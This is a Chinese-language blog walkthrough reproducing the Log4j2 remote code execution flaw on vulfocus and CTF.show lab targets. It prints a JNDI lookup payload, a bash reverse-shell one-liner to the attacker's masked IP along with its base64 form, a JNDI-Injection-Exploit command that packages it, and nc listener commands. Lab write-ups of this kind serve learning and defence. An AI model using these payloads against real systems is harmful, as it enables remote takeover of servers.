Apache Log4j2漏洞復現


0x00 前言

作者:Moco

慢慢的距離上次寫文章已過去了377天,這一年發生了好多好多的事,經歷了好多好多的變故,或喜或悲、或分或合、起起落落,整整的一年了得,沒怎么好好學習,沒怎么認真的鑽研技術,對自己表示很抱歉,違背了“白帽守則”,讓我們重溫一下“白帽守則”:

白帽守則第一頁第一條,心中無女人,挖洞自然神。

白帽守則第一頁第二條,只有不努力的白帽,沒有挖不到的漏洞

對此我深表歉意、望大家以我為戒,踏踏實實的深入貫徹落實“白帽守則”,切實維護祖國網絡空間安全。

0x01 漏洞描述

Apache Log4j2是一款優秀的Java日志框架。2021年11月24日,阿里雲安全團隊向Apache官方報告了Apache Log4j2遠程代碼執行漏洞。由於Apache Log4j2某些功能存在遞歸解析功能,攻擊者可直接構造惡意請求,觸發遠程代碼執行漏洞。漏洞利用無需特殊配置,經阿里雲安全團隊驗證,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影響。阿里雲應急響應中心提醒 Apache Log4j2 用戶盡快采取安全措施阻止漏洞攻擊。

12 月 10 日凌晨,Apache 開源項目 Log4j 的遠程代碼執行漏洞細節被公開,由於 Log4j 的廣泛使用,該漏洞一旦被攻擊者利用會造成嚴重危害。據悉,Apache Log4j 2.x <= 2.14.1 版本均回會受到影響。可能的受影響應用包括但不限於:Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 等。很多互聯網企業都連夜做了應急措施。截至本文發出,斗魚、京東、網易、深信服和汽車產業安全應急響應中心皆發文表示,鑒於該漏洞影響范圍比較大,業務自查及升級修復需要一定時間,暫不接收 Log4j2 相關的遠程代碼執行漏洞。

0x02 漏洞影響

危險等級

高危

影響版本

Apache Log4j 2.x <= 2.15

0x03 靶場環境

本次用的是vulfocus和CTF.show搭建好的環境,畢竟自己比較懶,不喜歡搭環境。

vulfocus靶場環境地址:http://vulfocus.fofa.so/#/dashboard

選擇:Log4j2遠程命令執行

CTF.show靶場環境地址 :https://ctf.show/challenges#Log4j復現-1730

0x04 漏洞驗證與復現

啟動環境

首先我們啟動Log4j2遠程命令執行的環境,給我們了提示了環境測試url:http://xxxxx/hello 和post參數為:payload=xxxxx。

開始測試

我們去訪問vulfocus給開啟的環境http://vulfocus.fofa.so:57105/hello

springboot 默認頁面,大哥說他不支持get請求,根據提示,默認傳參為post參數為:payload=xxxxx。

開啟HackBar構造POST包

Ok了!!他ok了!!!,說明我們這個功能可以正常使用,那我們去尋找可以利用的payload,給同事要了篇文章https://www.cnblogs.com/0x200/p/15692319.html,從里面找到了利用的payload:

payload=${jndi:ldap://wdhcrj.dnslog.cn/exp}

 

復現成功

輸入payload,發包,稍等一分鍾,dnslog就收到了回顯,這是我們可以證明存在Log4j2遠程命令執行漏洞。

反彈shell

我們去在尋找反彈shell的payload與利用方法

首先

准備反彈shell的命令payload

bash -i >& /dev/tcp/1x.16x.x9.1x/1235 0>&1

並將其進行base64加密

YmFzaCAtaSA+JiAvZGV2L3RjcC8xeC4xNngueDkuMXgvMTIzNSAwPiYx

然后用大哥給的工具,生成payload

工具地址:https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools

運行

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xeC4xNngueDkuMXgvMTIzNSAwPiYx}|{base64,-d}|{bash,-i}" -A "1x.16x.x9.1x "

一般我們選擇第三個(JDK 沒有版本的那個)payload進行攻擊,服務器上開啟nc監聽

一波三折

由於vulfocus的環境訪問的人數過多,反彈shell過慢,容易把環境卡死,故換成ctf.show的靶場進行復現,前面步驟都是一樣的,不過ctf.show的不能開啟動】hackbar和burp進行發包,只能通過前台登錄口處進行發包請求,直接粘入payload,發包,成功反彈到shell。

輸入env即可獲取flag。

不忘初心

一開始是用的我Windows服務器進行反彈的,但是聽我同事說windows的nc監聽和Linux的不一樣,當時一直以為是監聽命令錯了呢,最后才發現是環境有問題,使用的人太多了談不過來了(ps此處沒有打錯字,就是“談”,意思自行理解),其余步驟和上面的都一樣。

附上windows監聽的命令

 nc.exe -l -p 端口

再次打開ctf.show的環境成功反彈

總結與反思

世上無難事只要肯放棄!其實有很多時候我都感覺我是不是入錯行,我是不是不適合干攻防滲透,一個洞,站在那么多大佬寫的文章,和同事小伙伴的手把手教學,就那三四個步驟,兩三條命令,我一錯再錯,什么忘監聽端口了,什么端口沒改拉,總之各種細節都把握的不夠好,希望自己吧以后可以仔細仔細再仔細,無論遇到什么事情,都要去平淡的去看待他,慢慢來。

首先呢我在這遇到的第一個問題就是吧小寫的‘l’,看成了大寫的’I’,后面又遇到了生成dnslog打不開,特別慢的事故,后面又遇到了生成payload時Java報錯說占用的情況,在同事的幫助下使用netstat -no | grep  2222查看端口,ps -ef | grep java查看Java的進程,kill -9 2422591殺掉了原來的Java進程解決的,后來用payload打的時候,還忘監聽了。真的是,太不細心了。

0x05 參考文獻與致謝

參考文獻

https://www.cnblogs.com/xuzhujack/p/15673703.html

https://www.cnblogs.com/0x200/p/15692319.html

https://www.jb51.net/article/231932.htm

致謝

vulfocus 靶場:http://vulfocus.fofa.so/#/dashboard

CTF.Show靶場:https://ctf.show/challenges#Log4j復現-1730

轉載請注明:Adminxe's Blog » Apache Log4j2漏洞復現


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM